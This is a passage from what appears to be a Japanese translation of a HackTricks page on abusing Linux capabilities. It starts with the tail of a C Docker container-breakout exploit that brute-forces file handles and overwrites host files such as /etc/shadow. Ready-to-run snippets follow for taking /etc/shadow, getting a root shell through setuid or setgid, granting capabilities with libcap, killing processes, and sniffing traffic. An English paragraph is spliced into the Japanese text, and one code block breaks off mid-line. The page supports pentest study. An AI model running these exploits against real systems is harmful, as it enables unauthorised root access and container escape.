exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
```
Dockerコンテナから脱出するために、ホストから`/etc/shadow`と`/etc/passwd`のファイルを**ダウンロード**し、それらに**新しいユーザー**を**追加**して、**`shocker_write`**を使用して上書きします。その後、**ssh**を介して**アクセス**します。
**このテクニックのコードは、**[**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)**の「Abusing DAC\_OVERRIDE Capability」のラボからコピーされました。**
## CAP\_CHOWN
**これは、任意のファイルの所有者を変更できることを意味します。**
**バイナリの例**
`python`バイナリにこの機能があると仮定すると、**shadow**ファイルの**所有者**を**変更**し、**rootパスワード**を変更して特権を昇格させることができます。
```bash
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
```
または、**`ruby`** バイナリにこの機能がある場合:
```bash
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
```
## CAP\_FOWNER
**これは、任意のファイルのパーミッションを変更することができることを意味します。**
**バイナリの例**
もしPythonがこの機能を持っている場合、shadowファイルのパーミッションを変更し、**rootパスワードを変更**して特権を昇格させることができます。
```bash
python -c 'import os;os.chmod("/etc/shadow",0666)
```
### CAP\_SETUID
**これは、作成されたプロセスの有効なユーザーIDを設定することが可能であることを意味します。**
**バイナリを使用した例**
もしPythonがこの**機能**を持っている場合、特権をrootにエスカレーションするために非常に簡単に悪用することができます。
```python
import os
os.setuid(0)
os.system("/bin/bash")
```
**別の方法:**
This technique involves leveraging Linux capabilities to escalate privileges. Linux capabilities are a set of privileges that can be assigned to processes, allowing them to perform specific actions that would normally require root privileges. By exploiting misconfigurations or vulnerabilities in the system, an attacker can gain additional capabilities and elevate their privileges.
To identify processes with elevated capabilities, you can use the `getcap` command. This command lists the capabilities assigned to executable files. By analyzing the output, you can identify potential targets for privilege escalation.
To exploit this vulnerability, you can create a malicious executable file with the desired capabilities and replace a target executable with your file. When the target process is executed, it will inherit the elevated capabilities, allowing you to perform actions that would normally be restricted.
To prevent this type of privilege escalation, it is important to regularly review and restrict the capabilities assigned to processes. Additionally, ensure that executable files are only accessible to trusted users and regularly update the system to patch any vulnerabilities that could be exploited.
```python
import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")
```
## CAP\_SETGID
**これは、作成されたプロセスの有効なグループIDを設定することが可能であることを意味します。**
特権をエスカレーションするために、上書きできる多くのファイルがあります。[ここからアイデアを得ることができます](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
**バイナリの例**
この場合、任意のグループになりすますことができるため、グループが読み取ることができる興味深いファイルを探す必要があります。
```bash
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
```
一度特定のグループをなりすまして特権を昇格させるために、乱用できるファイルを見つけたら、次の手順でシェルを取得できます。
```python
import os
os.setgid(42)
os.system("/bin/bash")
```
この場合、shadowグループがなりすまされているため、`/etc/shadow`ファイルを読むことができます。
```bash
cat /etc/shadow
```
もし**docker**がインストールされている場合、**dockerグループ**を**なりすまし**、それを悪用して[dockerソケットと特権の昇格](./#writable-docker-socket)を行うことができます。
## CAP\_SETFCAP
これは、ファイルとプロセスに対して機能を設定することが可能であることを意味します。
**バイナリを使用した例**
もしpythonがこの**機能**を持っている場合、簡単に特権を昇格させるために悪用することができます。
{% code title="setcapability.py" %}
```python
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
```
{% code %}
```bash
python setcapability.py /usr/bin/python2.7
```
{% hint style="warning" %}
新しい機能をCAP\_SETFCAPでバイナリに設定すると、この機能が失われることに注意してください。
{% endhint %}
[SETUID機能](linux-capabilities.md#cap\_setuid)を持っている場合は、特権を昇格する方法を示すセクションに移動できます。
**環境を使用した例(Dockerの脱出)**
デフォルトでは、**Dockerのコンテナ内のプロセスにはCAP\_SETFCAP機能が与えられます**。次のようなことを行って確認できます:
```bash
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
apsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
```
この機能は、バイナリに他のどの機能でも与えることができるため、このページで言及されている他の機能の脱出を悪用してコンテナから脱出することができます。\
ただし、例えばgdbバイナリにCAP_SYS_ADMINとCAP_SYS_PTRACEの機能を与えようとすると、それらを与えることはできますが、その後バイナリは実行できなくなります。
```bash
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
```
調査の結果、次のようなことがわかりました:_Permitted: これはスレッドが仮定できる有効な機能の制限付きスーパーセットです。また、**CAP\_SETPCAP**機能を有効なセットに持たないスレッドによって継承セットに追加される可能性のある機能の制限付きスーパーセットでもあります。_\
Permitted機能は使用できる機能を制限するようです。\
ただし、Dockerはデフォルトで**CAP\_SETPCAP**も付与しているため、**継承可能な機能に新しい機能を設定する**ことができるかもしれません。\
ただし、この機能のドキュメントによると、_CAP\_SETPCAP: \[...\] 呼び出し元スレッドのバウンディングセットから継承セットに任意の機能を追加する_とあります。\
これによると、継承セットにはCAP\_SYS\_ADMINやCAP\_SYS\_PTRACEのような新しい機能を追加することはできないため、特権の昇格には使用できないようです。
## CAP\_SYS\_RAWIO
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、`/dev/mem`、`/dev/kmem`、または`/proc/kcore`へのアクセス、`mmap_min_addr`の変更、`ioperm(2)`および`iopl(2)`システムコールへのアクセス、およびさまざまなディスクコマンドなど、いくつかの機密操作を提供します。この機能により、[過去に問題が発生した](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)こともあります。マニュアルページによれば、これによりホルダーは他のデバイス上でデバイス固有の操作を記述的に**実行することも可能**です。
これは**特権の昇格**や**Dockerの脱出**に役立つことがあります。
## CAP\_KILL
**これは任意のプロセスを終了することが可能であることを意味します。**
**バイナリの例**
`python`バイナリにこの機能があると仮定しましょう。もしもあなたが**いくつかのサービスやソケットの設定**(またはサービスに関連する任意の設定ファイル)を変更することができた場合、それをバックドアにすることができ、そのサービスに関連するプロセスを終了し、新しい設定ファイルがあなたのバックドアで実行されるのを待つことができます。
```python
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
```
**killによる特権昇格**
もしkillの権限を持っており、**rootユーザーとして実行されている**(または別のユーザーとして実行されている)**nodeプログラム**がある場合、おそらく**シグナルSIGUSR1**を送信して、**nodeデバッガーを開く**ことができます。
```bash
kill -s SIGUSR1
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
```
## CAP\_NET\_BIND\_SERVICE
これは、任意のポート(特権ポートでも)でリッスンすることができることを意味します。この機能では特権を直接エスカレーションすることはできません。
**バイナリの例**
もし**`python`**がこの機能を持っている場合、任意のポートでリッスンすることができ、他のポートに接続することもできます(一部のサービスは特定の特権ポートからの接続を要求します)。
{% tabs %}
{% tab title="リッスン" %}
```python
import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)
```
{% tab title="接続" %}
```python
import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))
```
{% endtab %}
{% endtabs %}
## CAP\_NET\_RAW
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、プロセスが利用可能なネットワーク名前空間で**RAWおよびPACKETソケットタイプを作成**できるようにします。これにより、公開されたネットワークインターフェースを介して任意のパケットの生成と送信が可能になります。多くの場合、このインターフェースは仮想イーサネットデバイスであり、悪意のあるまたは**侵害されたコンテナ**がさまざまなネットワークレイヤーで**パケットを偽装**することができます。この能力を持つ悪意のあるプロセスまたは侵害されたコンテナは、ファイアウォールがパケットの種類と内容を制限するための対策がない場合、上流ブリッジに注入したり、コンテナ間のルーティングを悪用したり、ネットワークアクセス制御をバイパスしたり、ホストネットワーキングを改ざんしたりすることができます。最後に、この能力により、プロセスは利用可能な名前空間内の任意のアドレスにバインドすることができます。この能力は、pingがコンテナ内からICMPリクエストを作成するためにRAWソケットを使用するため、特権コンテナによってしばしば保持されます。
**これはトラフィックを嗅覚することが可能であることを意味します。**この能力を直接使用して特権を昇格することはできません。
**バイナリの例**
バイナリ**`tcpdump`**がこの能力を持っている場合、ネットワーク情報をキャプチャするために使用することができます。
```bash
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
```
注意してください、もし**環境**がこの機能を提供している場合、**`tcpdump`**を使用してトラフィックをスニフィングすることもできます。
**バイナリ2の例**
以下の例は、"**lo**"(**localhost**)インターフェースのトラフィックを傍受するのに役立つ**`python2`**コードです。このコードは、[https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)のラボ「_The Basics: CAP-NET\_BIND + NET\_RAW_」から取得しました。
```python
import socket
import struct
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、あらゆる分野の技術とサイバーセキュリティの専門家が集まる活気ある場です。
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* **サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**